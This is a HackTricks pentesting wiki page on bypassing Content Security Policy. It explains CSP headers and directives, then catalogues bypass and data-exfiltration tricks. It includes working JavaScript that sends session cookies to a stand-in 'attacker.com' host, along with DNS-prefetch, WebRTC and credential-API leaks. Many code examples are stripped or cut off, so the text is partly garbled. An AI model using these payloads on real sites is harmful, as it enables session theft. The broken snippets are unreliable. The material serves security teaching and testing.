--- title: "Content Security Policy (CSP) Bypass" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/content-security-policy-csp-bypass/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0" --- # Content Security Policy (CSP) Bypass ## What is CSP Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`.[[1]](#references) Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. - Implemented via response header: ```text Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - Implemented via meta tag: ```xml ``` ### Headers CSP can be enforced or monitored using these headers: - `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations. - `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. ### Defining Resources CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Directives - **script-src**: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets. - **default-src**: Sets a default policy for fetching resources when specific fetch directives are absent. - **child-src**: Specifies allowed resources for web workers and embedded frame contents. - **connect-src**: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest. - **frame-src**: Restricts URLs for frames. - **frame-ancestors**: Specifies which sources can embed the current page, applicable to elements like ``, ` // The bot will load an URL with the payload ``` ### Via Bookmarklets This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).[[22]](#references) ### CSP bypass by restricting CSP In [**this CTF writeup**](https://github.com/google/google-ctf/tree/main/2023/quals/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.[[23]](#references) You can **restrict a CSP of an Iframe** with the **`csp`** attribute: ```html ``` In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**[[24]](#references)\ CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: ```html ``` ### JS exfiltration with Content-Security-Policy-Report-Only If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)[[31]](#references) ## CSP Exfiltration Bypasses If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.[[32]](#references) ### Location You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) ```html ``` ### DNS Prefetch To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ You can indicate a browser to pre-resolve a hostname with: `` You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = body.innerHTML + '' ``` Another way: ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` In order to avoid this from happening the server can send the HTTP header: ```text X-DNS-Prefetch-Control: off ``` > [!TIP] > Apparently, this technique doesn't work in headless browsers (bots) ### WebRTC On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. Actually you can _leak_ informations using a _DNS request_. Check out this code: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` Another option: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost. ```javascript navigator.credentials.store( new FederatedCredential({ id:"satoki", name:"satoki", provider:"https:"+your_data+"example.com", iconURL:"https:"+your_data+"example.com" }) ) ``` ## Checking CSP Policies Online - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatically creating CSP The csper.io documentation describes generating a candidate policy from observed resources. A separate video walkthrough is available in reference 33.[[33]](#references) - [csper.io: Generating a Content Security Policy](https://csper.io/docs/generating-content-security-policy) ## References - [1] [CSP – The How and Why of a Content Security Policy (HackDefense)](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [2] [CSP Cheat Sheet – allowed data scheme (0xn3va)](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) - [3] [CSP bypass on portswigger.net using Google script resources (joaxcar.com)](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) - [4] [Content Security Policy (CSP) Bypass Techniques (bhavesh-thakur)](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) - [5] [Stealing Passwords from Infosec Mastodon Without Bypassing CSP (PortSwigger Research)](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) - [6] [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp) - [7] [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy) - [8] [AngularJS CSP bypass via cdnjs (blog.huli.tw)](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/) - [9] [Google zer0pts / ImaginaryCTF 2023 writeup – reCAPTCHA CSP bypass](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) - [10] [Bug bounty: how I made $50,000 from Google (landh.tech)](https://www.landh.tech/blog/20240304-google-hack-50000/) - [11] [Google Bard data exfiltration via Apps Script (embracethered.com)](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) - [12] [Weaponized Google OAuth triggers malicious WebSocket (cside.dev)](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) - [13] [Dress Code: The Talk – third-party domain abuse (SensePost)](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) - [14] [Exfiltrating users' private data using Google Analytics to bypass CSP (HUMAN Security)](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp) - [15] [CSP bypass via Google Tag Manager (deteact.com)](https://blog.deteact.com/csp-bypass/) - [16] [Beyond XSS – Chapter 2: CSP Bypass (aszx87410)](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [17] [H5SC Minichallenge 3: "Sh*t, it's CSP!" (cure53 XSSChallengeWiki)](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) - [18] [CSP Level 2 spec – Paths and Redirects (W3C)](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) - [19] [x-oracle CTF writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) - [20] [Hiding JavaScript inside PNG files to bypass CSP (secjuice.com)](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) - [21] [Bypassing CSP with Policy Injection (PortSwigger Research)](https://portswigger.net/research/bypassing-csp-with-policy-injection) - [22] [CSP bypass unveiled: the hidden threat of bookmarklets (socradar.io)](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/) - [23] [Google CTF 2023 – Web Biohazard solution (GitHub)](https://github.com/google/google-ctf/tree/main/2023/quals/web-biohazard/solution) - [24] [CTF writeups – Issue 48: restricting CSP via HTML injection (aszx87410)](https://github.com/aszx87410/ctf-writeups/issues/48) - [25] [TSJ CTF 2022 – Nim Notes challenge (maple3142)](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes) - [26] [CTFtime writeup 29310](https://ctftime.org/writeup/29310) - [27] [PHP header() bypass via too many parameters (YouTube talk)](https://www.youtube.com/watch?v=Sm4G6cAHjWM) - [28] [justCTF 2020 writeup – Baby CSP (hackmd.io)](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) - [29] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) - [30] [CSP bypass by rewriting an error page (blog.ssrf.kr)](https://blog.ssrf.kr/69) - [31] [Bypassing CSP via a WordPress SOME attack (octagon.net)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) - [32] [lcamtuf's Postxss – exfiltration techniques under strict CSP](https://lcamtuf.coredump.cx/postxss/) - [33] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) - [34] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [35] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/) - [36] [cure53/XSSChallengeWiki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it)